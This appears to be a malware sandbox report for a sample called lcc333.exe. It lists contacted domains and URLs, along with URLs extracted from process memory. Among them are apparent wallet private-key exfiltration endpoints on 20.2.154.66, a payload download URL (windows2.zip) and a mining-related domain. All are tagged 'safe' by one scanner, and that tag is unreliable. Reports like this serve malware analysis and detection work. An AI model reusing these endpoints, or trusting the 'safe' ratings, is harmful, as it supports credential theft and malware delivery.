https://ec1ipse.me/v2/ws?timestamp=1732529521	0%	Avira URL Cloud	safe
https://ec1ipse.me/miner/rewardspubkey	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529480	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529486	0%	Avira URL Cloud	safe
http://20.2.154.66:48080/admin-api/ore/wallet/updatePripubbalfirst	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ec1ipse.me	172.233.211.124	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ec1ipse.me/v2/ws?timestamp=1732529527	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529528	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529493	false	Avira URL Cloud: safe	unknown
http://43.199.41.35:8080/windows2.zip	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529467	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529500	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529501	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529460	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529508	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529514	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529473	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529521	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529486	false	Avira URL Cloud: safe	unknown
https://ec1ipse.me/v2/ws?timestamp=1732529480	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://google.com/	lcc333.exe, 00000002.00000003.2117407036.000002B93688E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.../back.jpeg	lcc333.exe, 00000002.00000003.2134241371.000002B936A36000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134662926.000002B936A37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.rs/getrandom#nodejs-es-module-support	app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	false		high
http://www.firmaprofesional.com/cps0	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://20.2.154.66:48080/admin-api/ore/wallet/getPri	app_process.exe, 00000020.00000002.3354405808.0000031AF2040000.00000004.00001000.00020000.00000000.sdmp, app_process.exe, 00000023.00000002.3354289774.0000052DFE040000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nircmd.nirsoft.net/%s.htmlhttp://nircmd.nirsoft.net	nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/SGCA.crl0	lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/clap-rs/clap/issues	lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	lcc333.exe, 00000002.00000003.2116595640.000002B936532000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135431182.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509903410.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117759859.000002B936540000.00000004.00000020.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/E%	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://html.spec.whatwg.org/multipage/	lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117759859.000002B93656F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116595640.000002B93656F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.quovadisglobal.com/cps0	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.nirsoft.netopenIf	nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	false	Avira URL Cloud: safe	unknown
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	lcc333.exe, 00000002.00000003.2506032098.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492097568.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501237397.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489080766.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497982911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511481302.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499854920.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490430465.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116935879.000002B9364D8000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504565907.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2498834017.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489759927.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2513385112.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2500583694.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491313804.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://20.2.154.66:48080/admin-api/ore/wallet/updatePri?pub=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyK	app_process.exe, 00000016.00000002.3341027671.00000392DA100000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/clap-rs/clap/issuesI	lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	lcc333.exe, 00000002.00000003.2134746911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B9364F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/w	lcc333.exe, 00000002.00000003.2135431182.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509903410.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B93652D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	lcc333.exe, 00000002.00000003.2116935879.000002B9364D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/get	lcc333.exe, 00000002.00000003.2506032098.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492097568.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501237397.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489080766.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497982911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511481302.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499854920.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497811471.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490430465.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364F9000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B936500000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	lcc333.exe, 00000002.00000003.2135431182.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509903410.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B93652D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://20.2.154.66:48080/admin-api/ore/wallet/updatePri?pub=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJ	app_process.exe, 00000012.00000002.3341070508.0000024D0C100000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wwww.certigna.fr/autorites/0m	lcc333.exe, 00000002.00000003.2507043255.000002B936936000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134241371.000002B936936000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	lcc333.exe, 00000002.00000003.2114575582.000002B936420000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114470386.000002B936424000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114575582.000002B93643B000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114530243.000002B93640F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crlo	lcc333.exe, 00000002.00000003.2507043255.000002B936936000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134241371.000002B936936000.00000004.00000020.00020000.00000000.sdmp	false		high
https://json.org	lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/howto/mro.html.	lcc333.exe, 00000002.00000003.2113514834.000002B935FD1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2113562718.000002B935FA0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	lcc333.exe, 00000002.00000003.2117407036.000002B936805000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117407036.000002B936837000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/	lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nircmd.nirsoft.net	nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nirsoft.net	nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	false		high
http://nircmd.nirsoft.net/%s.html	nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	false	Avira URL Cloud: safe	unknown
http://google.com/mail/	lcc333.exe, 00000002.00000003.2117407036.000002B936865000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl	lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	false		high
http://wwwsearch.sf.net/):	lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B9364F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://20.2.154.66:48080/admin-api/ore/wallet/getPrisrc	lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	lcc333.exe, 00000002.00000003.2508131310.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499546177.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489601311.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2505783774.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509691579.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503289795.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2488925083.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511179392.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2513042099.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491905759.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487723634.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501081077.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497077992.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2498674578.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2500416930.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507043255.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2514282903.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490932148.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490265028.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501749010.000002B936948000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504386817.000002B936948000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.openssl.org/H	lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.certigna.fr/certignarootca.crl01	lcc333.exe, 00000002.00000003.2507043255.000002B936936000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134241371.000002B936936000.00000004.00000020.00020000.00000000.sdmp	false		high
